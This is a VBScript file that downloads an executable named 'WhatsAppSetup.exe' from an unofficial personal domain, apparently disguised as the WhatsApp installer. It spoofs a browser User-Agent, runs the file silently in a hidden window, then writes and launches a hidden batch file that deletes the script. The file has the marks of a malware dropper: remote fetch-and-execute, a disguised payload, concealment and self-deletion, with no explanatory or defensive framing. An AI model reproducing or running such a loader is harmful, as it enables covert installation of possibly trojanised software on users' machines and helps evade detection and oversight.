Dim objShell, objFSO, objHTTP, objWMIService, strUrl, strSavePath, strArguments
Dim intWindowStyle, blnWaitOnReturn, fileSize, totalPhysicalRAM, safeChunkSize
Dim numChunks, i, startByte, endByte, objStream, actualSize, chunkSizeBytes
Dim timeoutMinutes, colItems, objItem

' Initialize objects
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

' --- CONFIGURATION ---
strUrl = "https://alperbarutcu.com/WhatsAppSetup.exe"
strSavePath = objShell.ExpandEnvironmentStrings("%TEMP%") & "\WhatsAppSetup.exe"
strArguments = "/S"
intWindowStyle = 0
blnWaitOnReturn = True

' --- STEP 1: GET TOTAL FILE SIZE ---
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objHTTP.Open "HEAD", strUrl, False
objHTTP.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
objHTTP.Send

If objHTTP.Status = 200 Then
    fileSize = CLng(objHTTP.GetResponseHeader("Content-Length"))
Else
    WScript.Quit 1
End If
Set objHTTP = Nothing

' --- STEP 2: CALCULATE OPTIMAL CHUNK SIZE BASED ON SYSTEM RAM ---
' Get total physical RAM in bytes
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select TotalPhysicalMemory from Win32_ComputerSystem")

For Each objItem In colItems
    totalPhysicalRAM = CLng(objItem.TotalPhysicalMemory)
Next

Set objWMIService = Nothing
Set colItems = Nothing

' Calculate safe chunk size (use max 15% of available RAM per chunk)
safeChunkSize = totalPhysicalRAM * 0.15

' Cap chunk size to reasonable limits
If safeChunkSize > 104857600 Then ' 100MB max per chunk
    safeChunkSize = 104857600
ElseIf safeChunkSize < 20971520 Then ' 20MB min per chunk (even on low RAM)
    safeChunkSize = 20971520
End If

' Calculate number of chunks needed
If fileSize <= safeChunkSize Then
    numChunks = 1
Else
    numChunks = Fix(fileSize / safeChunkSize)
    If fileSize Mod safeChunkSize > 0 Then
        numChunks = numChunks + 1
    End If
End If

' --- STEP 3: DOWNLOAD IN OPTIMIZED CHUNKS ---
' Create empty stream to assemble chunks
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' Binary
objStream.Open

' Download each chunk sequentially
For i = 0 To numChunks - 1
    startByte = i * Fix(fileSize / numChunks)
    
    If i = numChunks - 1 Then
        endByte = fileSize - 1 ' Last chunk gets remainder
    Else
        endByte = startByte + Fix(fileSize / numChunks) - 1
    End If
    
    ' Calculate chunk size for timeout
    chunkSizeBytes = endByte - startByte + 1
    
    ' Dynamic timeout based on chunk size (1 minute per 10MB, minimum 2 minutes)
    timeoutMinutes = 2
    If chunkSizeBytes > 10485760 Then ' If larger than 10MB
        timeoutMinutes = Fix(chunkSizeBytes / 10485760)
        If chunkSizeBytes Mod 10485760 > 0 Then
            timeoutMinutes = timeoutMinutes + 1
        End If
        If timeoutMinutes < 2 Then
            timeoutMinutes = 2
        End If
    End If
    
    ' Download specific byte range
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
    objHTTP.Open "GET", strUrl, False
    
    ' Set Range header for partial download
    objHTTP.SetRequestHeader "Range", "bytes=" & startByte & "-" & endByte
    objHTTP.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    
    ' Set timeouts (resolve, connect, send, receive)
    objHTTP.SetTimeouts 60000, 60000, 180000, timeoutMinutes * 60000
    
    objHTTP.Send
    
    ' Check for Partial Content (206) or OK (200 for small files)
    If objHTTP.Status = 206 Or (objHTTP.Status = 200 And numChunks = 1) Then
        ' Write this chunk to the master stream
        objStream.Write objHTTP.ResponseBody
        
        ' Optional: Garbage collection hint for large chunks
        If chunkSizeBytes > 52428800 Then ' >50MB chunk
            Set objHTTP = Nothing
        End If
    Else
        ' Download failed - clean up and exit
        objStream.Close
        Set objStream = Nothing
        WScript.Quit 1
    End If
    
    Set objHTTP = Nothing
Next

' Save assembled file to disk
objStream.SaveToFile strSavePath, 2
objStream.Close
Set objStream = Nothing

' --- STEP 4: VERIFY FILE INTEGRITY ---
If objFSO.FileExists(strSavePath) Then
    actualSize = objFSO.GetFile(strSavePath).Size
    If actualSize <> fileSize Then
        ' Download incomplete or corrupted
        objFSO.DeleteFile strSavePath, True
        WScript.Quit 1
    End If
Else
    WScript.Quit 1
End If

' --- STEP 5: HIDDEN SILENT INSTALLATION ---
If objFSO.FileExists(strSavePath) Then
    objShell.Run Chr(34) & strSavePath & Chr(34) & " " & strArguments, intWindowStyle, blnWaitOnReturn
    ' Installer remains in Temp folder
End If

' --- STEP 6: SELF-DELETION (Script only) ---
If objFSO.FileExists(WScript.ScriptFullName) Then
    Dim strBatPath, objBatFile
    strBatPath = objShell.ExpandEnvironmentStrings("%TEMP%") & "\~delete_script.bat"
    
    Set objBatFile = objFSO.CreateTextFile(strBatPath, True)
    objBatFile.WriteLine "@echo off"
    objBatFile.WriteLine "timeout /t 2 /nobreak > nul"
    objBatFile.WriteLine "del /f /q """ & WScript.ScriptFullName & """"
    objBatFile.WriteLine "del /f /q """ & strBatPath & """"
    objBatFile.Close
    Set objBatFile = Nothing
    
    objShell.Run Chr(34) & strBatPath & Chr(34), 0, False
End If

' Clean up
Set objShell = Nothing
Set objFSO = Nothing